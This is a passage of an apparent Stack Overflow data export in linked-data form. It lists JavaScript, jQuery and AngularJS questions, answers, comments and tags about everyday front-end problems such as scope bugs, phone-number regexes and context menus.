has title: angularjs + jquery mobile scope issue with multipage
score: 2
answer count: 0
downvote count: 0
tagged with: jquery-mobile

http://stackoverflow.com/a/25755272
has body: You need to change all occurrences of $scope.modaldata.passedValue to $scope.passedValue in the controller as well.
score: 0
answers question: http://stackoverflow.com/q/25755215
type: Answer
has comment: http://stackoverflow.com/comment/40273951

http://stackoverflow.com/a/25813134
has comment: http://stackoverflow.com/comment/40379550
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40379372
has comment: http://stackoverflow.com/comment/40379509
has comment: http://stackoverflow.com/comment/40379162
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/25812505
downvote count: 0
has body: Why aren't the browser itself handling the executing as it should, when inserted into the dom? Why is jQuery executing this piece of code? Because when you insert into the DOM via innerHTML, the browser doesn't execute script elements. So since that's frequently what people actually want, jQuery does it for you.
answers question: http://stackoverflow.com/q/25812505
upvote count: 2

http://stackoverflow.com/comment/139372737
type: AnswerComment
score: 0
type: Comment
has text: `process` seems to be a Node JS thing. The question is about straight web-browser JS.
comment on: http://stackoverflow.com/a/47720286

http://stackoverflow.com/a/25745528
has comment: http://stackoverflow.com/comment/40256073
type: Answer
answers question: http://stackoverflow.com/q/25745299
has comment: http://stackoverflow.com/comment/40255993
score: 1
has comment: http://stackoverflow.com/comment/40256124
has body: Use jquery attribute selector for this. var columns = ['2','5','6']; $.each( columns, function( key, value ) { $("#menu :checkbox[name='"+value+"']").prop("checked",true); }); Fiddle
has comment: http://stackoverflow.com/comment/40255516
has comment: http://stackoverflow.com/comment/40255402
upvote count: 1
downvote count: 0

http://stackoverflow.com/comment/40233052
has text: i dont understand ... you dont seem to have bound any events to ever update the circle size.
comment on: http://stackoverflow.com/q/25733202
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40389950
has text: @LJ_1102 It's Wordpress. And even using `method="GET"` results in the 404 error
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25818735

http://stackoverflow.com/comment/40220490
has text: i don't understand the use case...you don't need a controller or directive? best-practice-wise, you shouldn't really be doing that.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25726555
type: Comment

http://stackoverflow.com/q/25731973
has body: Using the code below I'm trying to concat two objects, but I am getting an error: Uncaught TypeError: undefined is not a function Here is my code: function getInvitees(pid, o, u) { var invitees = {}; var inviteCount = 0; do { var inviteeURL = "https://www.****.com/a/invitees/?pid={0}&amp;offset={1}&amp;user={2}".format(pid, o, u); sendRequest(friendsURL, function() { var resp = JSON.parse(e.responseText); tmp_invitees = resp['invitees']; invitees = invitees.concat(tmp_invitees); inviteeCount = tmp_invitees.length; }); } while(inviteeCount != 0); return invitees; } Why am I unable to contact invitees with tmp_invitees? I'm able to access invitees it just appears invitees doesn't have a concat() method.
has comment: http://stackoverflow.com/comment/40230481
has answer: http://stackoverflow.com/a/25732011
type: Question
has title: Concat - Undefined Function
linked to: http://stackoverflow.com/q/10384845
tagged with: javascript
upvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/25732011
favorite count: 0
score: -3
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40230489
downvote count: 3

http://stackoverflow.com/a/25730889
answers question: http://stackoverflow.com/q/25730857
type: Answer
score: 2
has body: You may try like this: var week = moment().subtract('week', 10); alert(week); JSFIDDLE
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25730857

http://stackoverflow.com/comment/40266357
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25751309
type: Comment
has text: I don't know what you're trying to do exactly, I just set them to the same width. Use the jQuery BlockUI plugin instead.

http://stackoverflow.com/q/25834541
has title: Owl Carousel 2 beta , add "selected" class on Url Hash Navigation
answer count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/94088367
type: Question
tagged with: owl-carousel
has answer: http://stackoverflow.com/a/29892868
has body: I am trying to add "selected" class to the "url hash button". Look at the original demo: http://www.owlcarousel.owlgraphic.com/demos/urlhashnav.html I want that zero will change to zero when clicking on it, or item autoplay on it, or drag/swipe item on it. I tried for one button to test but it is not working: HTML: JS: $("#owl-appt").owlCarousel( { items : 1, autoplay:false, animateOut: 'fadeOut', loop:false, responsive: true, callbacks: true, URLhashListener:true, startPosition: '#one', }); if($("#owl-appt .item.one").parent().is(".active")){ $("a.url.one").addClass("selected"); }else{ $("a.url.one").removeClass("selected"); };
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/comment/40269037
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25749805
has text: Sorry, I didn't take the time to read well. :/ I think you will need to use the viewport of the object (set the object in his viewport and move the viewport).
type: Comment

http://stackoverflow.com/comment/40325654
comment on: http://stackoverflow.com/a/25783585
has text: Downvote reason: Does not answer the question, he wants to invoke $scope.reset from MyCollection, not the other way around.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40432242
has text: @andrey.shedko your code works but the information you are providing in your P.S. is not correct. Check your working code in developer tool by changing to prepend(), it displays the div added inside the body tag.
type: Comment
comment on: http://stackoverflow.com/a/25841844
type: AnswerComment
score: 0

http://stackoverflow.com/a/25729794
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25724443
answers question: http://stackoverflow.com/q/25724443
score: 0
type: Answer
has body: Answered my own question: The reason is because "add()" is being called again. Pressing "left" "right" also had the side effect of focusing the "add" button

http://stackoverflow.com/comment/40359464
type: QuestionComment
has text: Please show the code where you attach your handler. Your guess about attaching the handler multiple times sounds like the issue. You could attach some code to the `hide` event of the dialog (assuming it has one) to call `off()` on the required elements.
comment on: http://stackoverflow.com/q/25802213
score: 0
type: Comment

http://stackoverflow.com/a/25804022
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40365942
has comment: http://stackoverflow.com/comment/40364169
downvote count: 0
answers question: http://stackoverflow.com/q/25803690
score: 1
has comment: http://stackoverflow.com/comment/40368838
has body: The error is about how you're loading your javascript files. It is loading the javascript files right after loading the whole document, so when you make your jQuery calls, it doesn't recognize it and that's why you're getting those Runtime Errors. Solution: In the html file, move the following lines to the beggining and switch the order between them, you need to load jQuery first because the carousel depends of it. :)

http://stackoverflow.com/q/25801448
has comment: http://stackoverflow.com/comment/40360920
has comment: http://stackoverflow.com/comment/40360967
has comment: http://stackoverflow.com/comment/40361360
has comment: http://stackoverflow.com/comment/40360830
has comment: http://stackoverflow.com/comment/40361116
has comment: http://stackoverflow.com/comment/40360285
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: ajax
tagged with: http://stackoverflow.com/tag/html
has body: I am having table as:: Test Where on the cell(with classname=CIDNoInvoiceNo) of table, I want to use the context menu. I have given some attempts like :: function GetTemplateDetails(self,CustomerID) { var ConsolidatedInvoiceDispatchID = $(self).attr('data-consolidatedinvoicedispatchid'); var CurrentRowID = $(self).closest('tr').attr("data-uid"); //POST AJAX to get Template Details $.ajax({ type: 'POST', url: rootUrl("Dispatch/GetConsolidatedInvoiceDispatchDocuments"), data: { ConsolidatedInvoiceDispatchID: ConsolidatedInvoiceDispatchID, CustomerID: CustomerID }, success: function (data) { var dataObjectForItems = []; for (var i = 0; i < data.length; i++) { dataObjectForItems["data" + i] = { name: data[i].Description }; } $.contextMenu({ selector: "tr[data-uid="+ CurrentRowID +"]>.CIDNoInvoiceNo", callback: function (key, options) { var m = "clicked: " + options.items[key].name; window.console && console.log(m) || alert(m); }, items: dataObjectForItems }); } }); return false; } using this I am getting context from server side but can't able to show data in right click.
has answer: http://stackoverflow.com/a/25803058
has comment: http://stackoverflow.com/comment/40359878
has comment: http://stackoverflow.com/comment/40361778
tagged with: contextmenu
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40361271
linked to: http://stackoverflow.com/q/25760508
has comment: http://stackoverflow.com/comment/40361733
has comment: http://stackoverflow.com/comment/40359301
has comment: http://stackoverflow.com/comment/40361027
type: Question
has title: Not able to show the context menu

http://stackoverflow.com/q/25792993
tagged with: javascript
score: -1
has comment: http://stackoverflow.com/comment/40343292
has comment: http://stackoverflow.com/comment/40342283
has body: i have following route in angular route: http://localhost:9000/login#id=54119212faf7d1ec159f9781&amp;token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI1NDExOTIxMmZhZjdkMWVjMTU5Zjk3ODEiLCJpYXQiOjE0MTA0Mzc2NTA3MTcsImV4cCI6MTQxMDQ1NTY1MDcxN30.x3G_faxsnzbyZWSRMNNpc2qFjHI6kBTca_Q9jwnWRHQ how can i access id parameter from this route. note here # is not ?. if there were ? then i can get it through $location.search() please suggest me if you have any good approach
answer count: 1
has comment: http://stackoverflow.com/comment/40342126
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25794605
type: UnansweredQuestion
has title: how to get any parameter value from the route which have special character # in angular js
downvote count: 1
type: Question
upvote count: 0
has comment: http://stackoverflow.com/comment/40342497

http://stackoverflow.com/comment/40336600
comment on: http://stackoverflow.com/a/25790213
has text: I think the code in the OP would work; the symbol "event" should be bound to the event object in the implicit function context for the attribute handler code.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25850303
has body: I have such a structure: &lt;div contenteditable="true"&gt; &lt;em class="class1"&gt;__&lt;em&gt; &lt;em class="class2"&gt;:&lt;em&gt; &lt;em class="class1"&gt;__&lt;em&gt; &lt;em class="class2"&gt;:&lt;em&gt; &lt;em class="class1"&gt;__&lt;em&gt; &lt;/div&gt; How i can get DOM or JQuery object of focused &lt;em&gt; ? document.activeElement return general &lt;div&gt; window.getSelection().focusNode return text of focused &lt;em&gt;
type: Question
has answer: http://stackoverflow.com/a/25850611
type: AnsweredQuestion
tagged with: dom
answer count: 2
has answer: http://stackoverflow.com/a/25850615
has title: How can I get focused element ()?
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25850611
score: 0
possible better answer: http://stackoverflow.com/a/25850615
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40378222
comment on: http://stackoverflow.com/q/25812750
score: 0
type: Comment
type: QuestionComment
has text: That seems counter-intuitive to me. It's better like it is now.

http://stackoverflow.com/comment/40236095
score: 0
has text: http://stackoverflow.com/questions/4146502/jquery-selectors-on-custom-data-attributes-on-html5
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25734803

http://stackoverflow.com/comment/40259650
comment on: http://stackoverflow.com/a/25747727
has text: Still not working! The .click() event isnt not workin with class:
score: 0
type: AnswerComment
type: Comment

infinite-scroll
tag name: infinite-scroll
type: Tag
tags question: http://stackoverflow.com/q/25748419

http://stackoverflow.com/comment/40235107
type: Comment
comment on: http://stackoverflow.com/a/25733200
has text: That is really weird. Could you try to log the mouseover and mouseenter events (console.log)? Is the log also flickering in the same way as the element?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40490937
score: 0
type: Comment
has text: thanks a lot Sir,Its working now but the HTML5 'required' validators doesn't work.
comment on: http://stackoverflow.com/a/25873544
type: AnswerComment

http://stackoverflow.com/a/25731371
type: Answer
accepted answer of: http://stackoverflow.com/q/25731084
has comment: http://stackoverflow.com/comment/40300959
score: 1
answers question: http://stackoverflow.com/q/25731084
has comment: http://stackoverflow.com/comment/40300591
has comment: http://stackoverflow.com/comment/40298887
has comment: http://stackoverflow.com/comment/40298844
upvote count: 1
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40298758
has body: You might have to use AJAX. Have your server code call the popup and have the popup call another method in the server side to process when the user submits. AJAX can do the client call to the server side. so your initial method would just bring up the popup and AJAX would call another method on the server to handle the submit.

http://stackoverflow.com/comment/40346013
has text: I'm gonna go out on a limb and say you probably shouldn't be editing code if you have no idea how.
score: 4
type: Comment
comment on: http://stackoverflow.com/q/25795080
type: QuestionComment

http://stackoverflow.com/a/25761763
type: Answer
has body: You can do something like this: var elem = document.createElement('script'); elem.setAttribute('src',generateSrc()); // add your logic in generateSrc document.body.appendChild(elem);
score: 0
answers question: http://stackoverflow.com/q/25761517

http://stackoverflow.com/comment/40391683
comment on: http://stackoverflow.com/q/25819353
has text: Why do you need a provider, there is no configuration here
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/84640379
score: 0
type: AnswerComment
has text: Can one build full bidirectional communication protocols between two windows using this technique (second idea)?
comment on: http://stackoverflow.com/a/25776316
type: Comment

http://stackoverflow.com/comment/40367783
type: Comment
type: QuestionComment
score: 2
has text: jQuery to the rescue! http://jsfiddle.net/hpfy8h57/1/
comment on: http://stackoverflow.com/q/25807033

http://stackoverflow.com/a/25730872
answers question: http://stackoverflow.com/q/25730217
type: Answer
accepted answer of: http://stackoverflow.com/q/25730217
upvote count: 1
has body: $(function () { $( "td" ).on( "click", function() { var type = $(this).text(); $('td:first-child').parent('tr:not(:contains('+type+'))').toggle(); }); }); Type Color Wheels Car Red 4 Motorcycle Green 2 Bike Blue 2 Car Blue 4 Bike Green 2 Motorcycle Red 2 Stores the text from current td, hides tr nodes which do not contain the text.
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40340476
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25790889
has text: The web socket connection will always get disconnected and will reconnect, as a new connection, when the page loads. The easiest way to keep the same connection active is to not refresh the browser page!
score: 0

http://stackoverflow.com/q/25785149
has answer: http://stackoverflow.com/a/25845314
tagged with: angularjs
possible better answer: http://stackoverflow.com/a/25845314
has body: I have a following controller: .controller('ProjectUserAddCtrl', ['$scope', 'ProjectUser', '$q', 'i18nNotifications', function($scope, ProjectUser, $q, i18nNotifications) { var buildUnassignedUsers = function(users, project) { var unassignedUsers = []; angular.forEach(users, function(user) { var match; angular.forEach(project.projectUsers, function(projectUser) { if(match) {return;} if(projectUser.user.id === user.id) { match = true; } }); if(!match) { unassignedUsers.push(user); } }); $scope.unassignedUsers = unassignedUsers; }; $q.all([ $scope.users, $scope.project ]).then(function(result) { buildUnassignedUsers($scope.users, $scope.project); $scope.$watch('project', function(newVal) { buildUnassignedUsers($scope.users, $scope.project); }, true ); }); }]); And a following test in jasmine: describe('ProjectUserAddCtrl', function() { var ctrl; beforeEach(function(){ $scope.users = []; $scope.project = { projectUsers: [] }; ctrl = $controller('ProjectUserAddCtrl', {$scope:$scope, ProjectUser:ProjectUser, $q:$q, i18nNotifications:i18nNotifications}); }); it('should create a new instance', function() { expect(ctrl).toBeDefined(); }); // this test fails! it('should create a list of unassigned users', function() { $scope.$apply(); // need to call apply to resolve promises expect($scope.unassignedUsers).toBeDefined(); }); }); 'should create a list of unassigned users' test fails with this error: TypeError: 'undefined' is not a function(evaluating $browser.$$checkUrlChange()) I really have no idea why. Any help appreciated.
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25841713
score: 26
has comment: http://stackoverflow.com/comment/40382162
upvote count: 26
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40328614
downvote count: 0
tagged with: javascript
tagged with: karma-jasmine
has answer: http://stackoverflow.com/a/25841713
has comment: http://stackoverflow.com/comment/40329687
has title: jasmine test fails with undefined is not a function(evaluating $browser.$$checkUrlChange())
tagged with: jasmine
favorite count: 0

http://stackoverflow.com/comment/40343310
has text: Interesting, i didn't know it was used to aid minification. Never thought of it that way. Thanks
type: Comment
comment on: http://stackoverflow.com/a/25783447
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40294204
type: Comment
type: QuestionComment
has text: Use Promises. jQuery has it, or any other library. Take a look here: http://stackoverflow.com/questions/11539605/chain-of-jquery-promises or here http://www.dotnetcurry.com/showarticle.aspx?ID=1022
score: 3
comment on: http://stackoverflow.com/q/25766814

http://stackoverflow.com/q/25791309
has answer: http://stackoverflow.com/a/25791515
duplicate of: http://stackoverflow.com/q/8888491
has comment: http://stackoverflow.com/comment/40338776
possible better answer: http://stackoverflow.com/a/25791404
has answer: http://stackoverflow.com/a/25791404
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25791515
type: Question
has title: How to convert this to show 12 hour clock?
has answer: http://stackoverflow.com/a/25791600
has comment: http://stackoverflow.com/comment/40338757
tagged with: javascript
linked to: http://stackoverflow.com/q/8888491
has body: Currently shows the time in a 24 Hour clock format. Can this be chnaged to show a 12 Hour clock with AM or PM? Thanks function startTime() { var today=new Date(); var h=today.getHours(); var m=today.getMinutes(); var s=today.getSeconds(); m = checkTime(m); s = checkTime(s); document.getElementById('txt').innerHTML = h+":"+m+":"+s; var t = setTimeout(function(){startTime()},500); } function checkTime(i) { if (i&lt;10) {i = "0" + i}; // add zero in front of numbers &lt; 10 return i; }
score: 0
has comment: http://stackoverflow.com/comment/40338835
answer count: 3

sap-gui
tags question: http://stackoverflow.com/q/25752125
tag name: sap-gui
type: Tag

http://stackoverflow.com/q/25836652
tagged with: validation
tagged with: javascript
tagged with: jquery
favorite count: 0
has title: Validating an email or a phone number
tagged with: email
has comment: http://stackoverflow.com/comment/40422381
has answer: http://stackoverflow.com/a/25837307
has comment: http://stackoverflow.com/comment/40422528
has comment: http://stackoverflow.com/comment/40422197
has comment: http://stackoverflow.com/comment/40422733
type: UnansweredQuestion
has body: I have a form field that should accept either an email or a phone number. I already have this code to validate an email address: function validateEmail(email) { var re = /^(([^&lt;&gt;()[\]\\.,;:\s@\"]+(\.[^&lt;&gt;()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; return re.test(email); } But I also need to validate for a phone number that can only be in this format: +XXX XXX XXX XXX || +XXXXXXXXXXXX || XXX XXX XXX || XXXXXXXXX How do I add that validation, so that I either validate an email or a phone in that format? I'm sorry, I'm a javascript beginner. THANK YOU! I already have this error message printing done: if(!validateEmail(signup_email)) { show_error_msg('error_signup_email','&lt;?php _e( 'Enter a valid email address or a phone number' ); ?&gt;'); jQuery("#signup_email").focus(); return false; } Progress: I added a function to validate the phone number: function validatePhone(email) { var re = /^\+?([0-9]{3})\)?[ ]?([0-9]{3})[ ]?([0-9]{3})[ ]?([0-9]{3})$/; return re.test(email); } And edited the Error message to this: if((!validateEmail(signup_email)) || (!validatePhone(signup_email))) { show_error_msg('error_signup_email','&lt;?php _e( 'Enter a valid email address or a phone number', 'Matrix' ); ?&gt;'); jQuery("#signup_email").focus(); return false; } But the form stopped printing the success message and it says the phone number is invalid.
has answer: http://stackoverflow.com/a/75929357
score: 2
downvote count: 0
tagged with: forms
has comment: http://stackoverflow.com/comment/40422609
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/40422234
answer count: 2

http://stackoverflow.com/a/25854455
answers question: http://stackoverflow.com/q/25853914
type: Answer
has comment: http://stackoverflow.com/comment/40454386
has comment: http://stackoverflow.com/comment/40479728
score: 0
has body: Read this to clear things out: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain In first example you try to inherit from nothing, since MenuButton.prototype is not yet defined. To make it work just add MenuButton.prototype = new createjs.Shape.prototype(instead of Object.create() wich shouldn't be used anymore) to instantiate it first before you can you use it. Your first code is like you are willing to eat a banana before having one.
has comment: http://stackoverflow.com/comment/40479701
has comment: http://stackoverflow.com/comment/40457354

wifi
tag name: wifi
type: Tag
tags question: http://stackoverflow.com/q/25800161

http://stackoverflow.com/q/25754728
has answer: http://stackoverflow.com/a/25755023
downvote count: 1
type: Question
tagged with: jquery-ui
tagged with: javascript
tagged with: jquery
has title: Droppable doesn't attach quickly enough to dynamically generated element in Jquery
score: 0
answer count: 1
favorite count: 0
type: UnansweredQuestion
upvote count: 1
has body: This seems like a really annoying bug I have been trying to solve for days. I am making a sortable list. When I click and drag grey item and I hover over the red I need a spacer to show up below it so I can drop it in the newly shown spacer. I try to bind a draggable over the spacer (so I know if the user drops it onto it) but I just can't get the spacer to recognise when it has something 'over it' unles >>>> and here is the gotcha while I drag and hold and move my element to the side of the screen. To recreate : Click and hold the grey tab Drag it over the red (at this point the yellow spacer shows) Drag it onto the yellow but don't let go of the mouse (notice nothing writes to the console). Now repeat the experiement but before going over the yellow spacer wiggle the draggable grey item at the side of the screen now go over the yellow spacer and hey presto it detects it and writes a message to the console which means the code has worked. Does anybody know what the hell is going on? I have been stuck on it for days! The code: $('.draggable').draggable({ revert: true, revertDuration: 30, stop: function () { $('.spacer').removeClass('open'); var dragged = $(this); dragged.css('z-index', '1000'); }, start: function (event, ui) { var dragged = $(this); dragged.css('z-index','1009'); } }); $('.hoverable').droppable({ over: function (event, ui) { var target = $(event.target); var newElem = target.next().append(' '); newElem.on().droppable({ over: function() { console.log('sdfsd'); }, tolerance: "touch" }); } }); .draggable{ width:100px; height:30px; background-color:gray; } .hoverable{ width:100px; height:30px; background-color:red; } .spacer{ width:100px; height:30px; background-color:yellow; } The JsBin is here... http://jsbin.com/golel/1/

http://stackoverflow.com/a/25849635
answers question: http://stackoverflow.com/q/25811446
type: Answer
accepted answer of: http://stackoverflow.com/q/25811446
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
has body: No Need to write Ko BindHandlers. I just assigned my dataSource from getschedulerData() method. Also when i was loading first time the Call was async: false. Now i made the call sync. So, that the activate method will not be returned until otherwise the call get finished. The below are the code i have used to replace the DataSource: var scheduler = $('#scheduler').data('kendoScheduler'); if (scheduler != null) { var dataSource = new kendo.data.SchedulerDataSource({ data: schedulerData() }); scheduler.setDataSource(dataSource); } But i don't know why and not sure why observable array didn't that work :( Reference : Kendo Scheduler - Click Drop Down Menus Check it out - Configuration, Fields, Methods, Events :)

http://stackoverflow.com/a/25716306
upvote count: 2
has comment: http://stackoverflow.com/comment/40202066
has body: You can do this by setting a base object for your ng-Models. So in your controller you will have:- $scope.search = {}; and in your view do:- &lt;input ng-attr-id="{{col.DatabaseColumnName}}" type="text" data-ng-model="search[col.DatabaseColumnName]"/&gt; With this your dynamic ng-model will be assigned to the search base object, ex:- if col.DatabaseColumnName is col1 then ngModel would be $scope.search.col1
score: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40201612
downvote count: 0
has comment: http://stackoverflow.com/comment/40201396
type: Answer
answers question: http://stackoverflow.com/q/25716192
accepted answer of: http://stackoverflow.com/q/25716192

http://stackoverflow.com/a/30441649
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25831058
has body: You can use the CombinePDF gem to combine the PDF streams. Your pseudo code can look something like this: pdf = CombinePDF.parse load('view/sites/dc_power_inventories/index.pdf.prawn') pdf &lt;&lt; CombinePDF.parse load('view/sites/equipment_inventories/index.pdf.prawn') pdf.to_pdf # renders the object to a PDF stream that can be sent I would consider moving the Prawn pdf code to helper methods, so that it's accessible from outside the render workflow.

http://stackoverflow.com/a/34849316
type: Answer
has body: A hacky fix for Windows users running a bash shell: First, add node-inspector to your Path. (You can find where npm is installing packages with npm list -g) Then use this command in bash, or add it to your npm scripts: START /B node-inspector &amp;&amp; nodemon --debug server.js START /B being the windows command to run in the background.
answers question: http://stackoverflow.com/q/25798050
score: 0

http://stackoverflow.com/q/25785158
upvote count: 1
tagged with: css
tagged with: visual-studio
type: AnsweredQuestion
score: 1
tagged with: visual-studio-lightswitch
has answer: http://stackoverflow.com/a/25801112
has body: I know this will be possible but I have been unable to work this out so far... will this be done within the screen created code on the screen or is there a specific file I need to look in to achieve my goal? thanks
type: Question
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: lightswitch-2013
has title: Lightswitch 2013 HTML Client - change background on one screen rather than all
accepted answer: http://stackoverflow.com/a/25801112
favorite count: 0

http://stackoverflow.com/comment/40219405
score: 0
type: AnswerComment
has text: I think he means if multiple div's exist. @user1673591 you need to research JS scope and get a sense of what `this` means.
type: Comment
comment on: http://stackoverflow.com/a/25726110

http://stackoverflow.com/q/25712905
tagged with: python
has body: Suppose I have a Django website. On one page my function in views.py has to execute a process that may take 5-15 seconds to execute. Obviously I don't want to wait for this process to complete before rendering the page. The problem is that some of the Javascript on the page needs to use the results of the long running process. So how can I execute this long running process (say in a python thread or Deferred) and somehow get the results to Javascript after the page is loaded?
has comment: http://stackoverflow.com/comment/40194661
score: 0
tagged with: django
has comment: http://stackoverflow.com/comment/40195011
type: Question
tagged with: javascript
answer count: 1
has title: execute javascript after long running Django task
linked to: http://stackoverflow.com/q/11077857
has answer: http://stackoverflow.com/a/25713534
type: UnansweredQuestion

http://stackoverflow.com/a/25873069
has comment: http://stackoverflow.com/comment/40512370
answers question: http://stackoverflow.com/q/25869742
score: 0
has comment: http://stackoverflow.com/comment/40515170
type: Answer
has body: You probably mistyped the name of this function : errorHandling_(parameters) or you forgot to include it in your project. Your scrip might work partially before it tries to execute the error handling or if no error occurred.

http://stackoverflow.com/q/25799276
has answer: http://stackoverflow.com/a/25812318
type: AnsweredQuestion
tagged with: canvasjs
accepted answer: http://stackoverflow.com/a/25812318
score: 0
has title: Why isn't this CanvasJS script dynamically changing variables?
type: Question
has comment: http://stackoverflow.com/comment/40377214
tagged with: javascript
has comment: http://stackoverflow.com/comment/40375903
has body: Trying to get this script to reload every one second with random variables. All I get is the first set of data, chart.render only seems to work when it isn't nested in a function. It's the function 'work' that seems to be broken. I tried canvasjs solution for line charts, it doesn't function either. Any ideas?
answer count: 1

http://stackoverflow.com/q/25831407
favorite count: 0
has comment: http://stackoverflow.com/comment/40412514
has title: how to get id of next element jquery?
accepted answer: http://stackoverflow.com/a/25831482
possible better answer: http://stackoverflow.com/a/25831507
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25831507
has body: here the html code, and i want to get the id of next element from clicked element a with class coba or to get id of element table class coba2. Kategori Tambah Pertanyaan Teks and i've tried using this script var a = $('.coba').next('.coba2'); alert(a.attr('id')); but it show me undefined, anyone know how?
has comment: http://stackoverflow.com/comment/40412540
upvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25831482
score: 1
has comment: http://stackoverflow.com/comment/40413102
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25816676
tagged with: regex
favorite count: 0
has comment: http://stackoverflow.com/comment/40386380
has body: We're needing a match phone numbers in some chunks of HTML with JavaScript and are very close but are having problems. We don't want to match phone numbers that show up in attributes such as max-length="404-555-1212". Consider the following text: Sample: Shouldn’t Match: max-length='0123456789' max-length="0123456789" max-length=012-345-6789" Don’t want the > 866.643.4170 Don’t really want this plus included either: +1-(800)-555-2468 abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 +-.,!@#$%^&*();\/|<>"' 12345 -98.7 3.141 .6180 9,000 +42 555.123.4567 +1-(800)-555-2468 With the following Regex, we are able to grab all of the phone numbers but it does not exclude the attributes: /(\d{1}[-. ])?\(?\d{3}\)?[-. ]? *\d{3}-? *[-. ]?\d{4}/g We tried the following but it is leaving the > at the end of : /[^"='](\d{1}[-. ])?\(?\d{3}\)?[-. ]? *\d{3}-? *[-. ]?\d{4}/g Any thoughts on how to make this work?
has comment: http://stackoverflow.com/comment/40398077
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/40386886
score: 1
type: Question
upvote count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25823527
has title: JavaScript Regex to Match Phone numbers but not in HTML attributes
accepted answer: http://stackoverflow.com/a/25823527
answer count: 1

http://stackoverflow.com/q/25767039
has comment: http://stackoverflow.com/comment/40294849
answer count: 2
has comment: http://stackoverflow.com/comment/40295038
has answer: http://stackoverflow.com/a/25768133
favorite count: 0
upvote count: 1
tagged with: regex
possible better answer: http://stackoverflow.com/a/25768318
has body: I should validate a phone number. My constraints are like this. Phone numbers should not contain alphabets(silly though to mention ;) ) Phone number should have minimum 10 characters and maximum 17 characters. phone number should accept "-" , ".", "+".(not mandatory) "-" or "." if present, should not be in starting of number or ending of number. Only one "+" is allowed and that too in the starting of the number Phone number should not be valid if all the characters entered are "-" or "." So far i am using the following expression. var phoneExpression = /^(?=.*[0-9])([0-9\.\-\+\ \(\)\/]+)*$/; though this is not meeting all my constraints. Please provide me a good regular expression.
has answer: http://stackoverflow.com/a/25768318
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40295169
downvote count: 2
accepted answer: http://stackoverflow.com/a/25768133
has comment: http://stackoverflow.com/comment/40294768
type: Question
has title: Phone number validation regex with custom constraints
tagged with: javascript
score: -1
has comment: http://stackoverflow.com/comment/40294974

http://stackoverflow.com/comment/111794577
comment on: http://stackoverflow.com/a/25793915
type: Comment
score: 1
has text: `( document.getElementById("videoUploadFile").files.length === 0 )`
type: AnswerComment

http://stackoverflow.com/q/25783870
tagged with: css
has answer: http://stackoverflow.com/a/25788303
has answer: http://stackoverflow.com/a/25784138
score: 1
has comment: http://stackoverflow.com/comment/40325582
has body: i have a div container with a fixed width and some elements inside it, which are placed using position: absolute. I've four layers to create an effect with beveled images and an "opening" effect. Now this is working, as you can see in my jsfiddle below. (jsfiddle - working Example) The question is, how could i make this responsive. I mean not for mobile, but for an 100% width layout, where the window can be resized and the following requirements are meet: the "test" text and the open button are always centered in the three-cornered area in the center the images left and right can be cutted from the left (for the left picture) and the right (for the right picture) I tried to work with background-size: cover, but it is not working as expected when I'm resizing the browser window. Here is my Code (HTML): Test Test open Duis at tincidunt erat. Nullam tellus mi, aliquam ultricies nisi ac, porttitor aliquam nulla. Donec scelerisque magna euismod purus imperdiet sollicitudin. Etiam vel lacus ex. Duis tempus urna eu volutpat tristique. Aenean vel ante pulvinar, sodales magna id, mollis urna. Duis at tincidunt erat. Nullam tellus mi, aliquam ultricies nisi ac, porttitor aliquam nulla. Donec scelerisque magna euismod purus imperdiet sollicitudin. Etiam vel lacus ex. Duis tempus urna eu 